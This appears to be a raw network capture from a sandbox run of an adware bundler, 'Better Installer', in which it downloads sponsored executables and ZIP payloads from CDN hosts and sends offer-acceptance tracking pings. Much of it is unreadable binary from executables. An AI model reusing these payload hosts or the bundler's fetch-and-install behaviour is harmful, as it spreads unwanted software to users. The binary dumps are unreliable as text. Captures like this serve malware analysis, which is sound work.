'...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`
.PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P..
...I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1
..C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..
Y...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...
}J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..
|.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V...
..-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.&l
t;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt
.......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....
lw.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s 
!.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?...
..Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w.
.a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\
.!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z......
.h....='....l..[.h.%W..).......&....eO. \,{..e;z....)[email protected]
n.(k..y......pi*.-.n..Tw..Bi.............I.L..@.....@].v.[.U.".Y}n.../
..>.EE%...V...:..g..."b.W...J..........BN.....:......)$.."...>.f
4.u.$.zt-......9..Jx1(w......l......`...y.......i..N..O.E4_..Z..:.....
7].Q..m.../...Lk.=9nlh.g.-....'.]09....285.Q.r.*;....e..\:L..m.|..<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=10606 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:31 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274374-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 12354

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:32 GMT

Content-Range: bytes 1274374-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Ggrg9pqJOcpBBJZNCoMxaJxmZItqPwONwusW4-H5HIG10YK7DcAUYA==
.....&....d:...w.K6..:4n..`]...........J......I..........o.$|\3.......
.mhz...M...G7?...|P.z.........#...dV=....4....K..l{n.r.y.......-i8,..b
.7....H~...[....1.B....v...u./...D..E...0')z...;..^......J....cw.>/
Y#..t......j)...1..4.R..*XJ.[}F......@<...QQ.r..F.|.}6....._..q.9Y.
.Uz.O-6.g...7D.50...R..=.....b..g......1.aw..*.l3../*...B.m..f.x.....C
..*R.....h. 7........^,.%.. .K...'....9....Ig........X...B.....t......
....e....M.......g......6.a..jm..k.'.[,PI.......#..J.I.(G7...G......o.
]..'n.k.!..j,,.x..o}.B... E&L.q_...sr...=_.ky}T.M.....J..Uz-j&.oI.=._'
..2..8..m.X.}..j.....([email protected]"0..
.......".R...xT3.......'..w...,.. .i......c5o......).}..$..X|s:..jm.#.
..D.#....f*P.B...f...`GCT..7h0..P.L./1lu.....D..mu..m.. 3......p...~W.
.M.O..x......o.B.....GL.....B.V.&.v.&.$YB.&5&..!. H..t.........=h....O
..}..|..X.q&{s.F..k.M........j~.......8....J.....<Yy1.8/...^..T....
O"A^.....x.f.acI.l....o......f...JE>....s.O k...L7 ^.z.6^,*u1".{3&l
t;IR...SJ......`.`..F.Z.L...i)...>Z"..]fn....v...x..?......Ka...._S
...'..3.6#...A.j..G_K......P..p........6..W;........-.PCFE.:...."....W
[email protected]...(.....).I...(p.\h.q!..=....v.......................
..w..#..O.... .|.ez|iG......)..q.B...~ xEt..ku.Do5.n..)F./.E.7....HR.U
`...4d7Y.B t.U..............).....h........>h.h....2b..~\V.......l.
....X..W..X...=..".?.:5.7...x...9....9). o.|.P.}...........S.1........
..sk..9.Ym.*6....J)...>..eq.<........L...nAA.....:..8..K|!..R...
.Q\p9~...t0..:."..5...5....c....`:.\..#..;Ar.T...{.d....\VL....;Z.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145804-291608

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 145804-291608/583216

Content-Length: 145805

Connection: keep-alive
..`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.
d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*.
..8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9......
..VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o..
.V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......
\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:.
..Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W
...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7.
. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-
..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C.
.........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ
.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a.......
...".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..
i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`
..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M...
..W}[email protected].... zi=
-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W..
..ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B
.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0
~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L
.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c..
.*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..J...<<< skipped >>>

GET /Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:34 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

15............3..!.........0..HTTP/1.1 200 OK..Server: nginx..Date: We
d, 11 Feb 2015 02:31:34 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3..!.........0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286728

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 0-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1nw0r99eDWimDV5X5rsjVW-xTO7w65hE9uqugtT-YPgFcijeF3OqGg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: l0lOI2Vdi5OEKQRQ5UNdiPTIYXxZ6oXJPQ4miZ9NLeL7sCxp640F3g==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 28 Jan 2015 06:05:55 GMT

Accept-Ranges: bytes

ETag: "75565c7ac03ad01:0"

Server: Microsoft-IIS/8.0

VTag: 279610143200000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Wed, 11 Feb 2015 02:34:30 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150127173215Z..150428055215Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Y0... .....7......150427174215Z0.
..*.H......................YIw.. ..(..y..O.G].B.."?.@...[1.}.X...]...e
.J....pP.I....!6...%.D.k...>c.|R.?.i..yt.z..B.........b....n..m5...
0....2..I!)v....z....y.#pXz.DO.....mF...e.'e...@.%...6./.bPZ...=....bp
[email protected]..@.. ...M....z....Q...{u. .W....

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=19801566-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 2828795

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 19801566-22630360/22630361
......1..u..1.)A.v.85%....L..{....%.%.J...`.'2.....,..w...........*.$.
,.k.:....8.lA...G..g..".....g5m).J.]..a.._;..............0.t......&.{.
....r..uC....-&..1.V.A.O.Pg..B5.791.ln...Y.ZX Y...x..>.E.F.::.ar..e
.!.C...Sx<b.W......,t=..N........v...D.r.u..$.oy.u.....b..\J......`
[email protected]<,S.......S.p.p"cw. .W.._.........Ct..'.m....y0.
lx..........9k(=Be....$....M..vd.V..........;@...$#j.n<I..W.......t
..G...B.../...........lC.... h.....[.VXU.eAy)RL........K.Ib0...}LA.W..
.FSG..7....0.>j......83.....#J.v.........4..b;o.9..T......$a.....t.
q.'t.J..R.6.........>.@C.... _.........(..e.yC3.4......qkz.. ./$...
..L7|Pa...gRG...Y...^Z..E'.L..d...Wg.$......n$g..0h.......;n.7".N..)r.
.X-t....M......./...."M.u)'^.m.[..3..Dg...r..j..).]..U ..A...U7DlU&u..
H.5}G........K...D6.vm.|{...!rFj.a.k..}..3y.e... ...!#K..'QE8..^....Y.
..h.<..<...3.........U..T......7...[ )jJ.8...>.i..T#.3..O....
D.I.m.)%....O.#...?N|......>[email protected])....3V..].;..2...E.N....S
..y...o..a;..}.%6.%~.....N.<....:Yo..._.M.... \...qe..K..,A%.?.4...
.....H.o..S0 ..j..-........D...{V.Y.d......^..X...|.8/#....7.*....[...
[email protected]. .R..,..a..3P...}.fM..W~..R...7.A.....DB36'..
Q.........K...-..Pp.3.n...(.3.}-u{.........q...%.(...x...djf..o..f..s.
.A'........rw...ZV.l.1e."...p....].>..5..?..D.1..#...0.J..|.1...6..
 K..y!.JB..;8.K.....vbG..C.F.(b.m .G.w.n,.....]e..#".F]@...K..6.&k.."s
C......5.`...-h5.3....>..E.........Vy..?s....A. b...0....9. ...@...
...y6E....Z>.*.l8.'...P.........:.(q.n.N.[...0j.].V.&y).....Voe<<< skipped >>>

GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Wed, 11 Feb 2015 02:30:26 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip

0......

GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:26 GMT

Content-Type: application/zip

Content-Length: 2220093

Last-Modified: Tue, 10 Feb 2015 04:03:46 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........v.IF................422.json........_.K.=w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.N.........'?.}...n..0..5.^1.........#..z.n...t..#
.1jq`....*.>#.............m..V.&.vc~.<.w.R.'xD....q..qQ|.H.P6...
.l..&3....g.t/.[<.C.........3......~...B|[email protected].}...P......^1.
.......AO...t...HT,t.v.4.)......]._.u-g..f..M....:.x~..........J.....W
]...~C..M...:]...{..-.e...8.i.2....aO...w...#i.^1......K........|~.k..
.u........VN..hg.s.....!*l..5.D(L.w.J.kh.b..S...~..-..Y../.ap......q..
j..%....a.M=E.k}.0....g.`.$SaH...u...I.*h.Y.0.3s~.......a.w...........
....331olX2rPK........v.IF..".f....K......uninstallDlg2.xml.\m.....^..
.....z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o.....
.R.f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd.
.X.8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..s
b#....nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW
0...L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B
.(h..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A
....L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b
@w.r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P
)..Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............".?....:
.?....K...$.[\^..o....Q:.....N!....x...{............PK..........IF.QN.
[email protected]~...``[email protected]...
...b......l.v5k..mw...2c..4..c..-j..4lQ..I....s.0 ........._..s>...
.<...|....3*.a.`D.a.1./.....0.S_.f...y.!E......W.*l....7.......<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&0.4806031552958285 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:10 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:10 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Mwgtm9R4hWhCFSCe4mAqkRFTF2mbG2UDh7SNgwjwakIXVOlpRux1wA==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...<<< skipped >>>

GET /?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVqoDIBw HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVqoDIBw&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=b4c2c41d256de730:FF=0:TM=1423621850:LM=1423621850:S=y59pSDEPkikBt2ch; expires=Fri, 10-Feb-2017 02:30:50 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=U0N-HKmx1Or9UkK0w999O-l6N2zzZYbOFQRm4lqhsM0N5nQqPS-Amnp1d54F6mB119ihj2P1vKfxYrn6FYpHeMrB7tLXxi-a-XXBPvsXXY1tWLgq_bXvfq0viqTj2_dm; expires=Thu, 13-Aug-2015 02:30:50 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Wed, 11 Feb 2015 02:30:50 GMT

Server: gws

Content-Length: 278

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYq
u8wfVqoDIBw&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=2r7aVNnhIYqu8wfVqoDIBw&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=b4c2c41d256de73
0:FF=0:TM=1423621850:LM=1423621850:S=y59pSDEPkikBt2ch; expires=Fri, 10
-Feb-2017 02:30:50 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=U0N-HKmx1Or9UkK0w999O-l6N2zzZYbOFQRm4lqhsM0N5nQqPS-Amnp1d54F6mB119
ihj2P1vKfxYrn6FYpHeMrB7tLXxi-a-XXBPvsXXY1tWLgq_bXvfq0viqTj2_dm; expire
s=Thu, 13-Aug-2015 02:30:50 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: W
ed, 11 Feb 2015 02:30:50 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.02..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=2r7aVNnhIYqu8wfVqoDIBw&gws_rd=ssl">here</A><<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286728

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 0-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wrCHxdcxhOFjTGpCcutOTPBTB-8cR9JcZg5oHGvdVo1Cy23IIVrpGw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

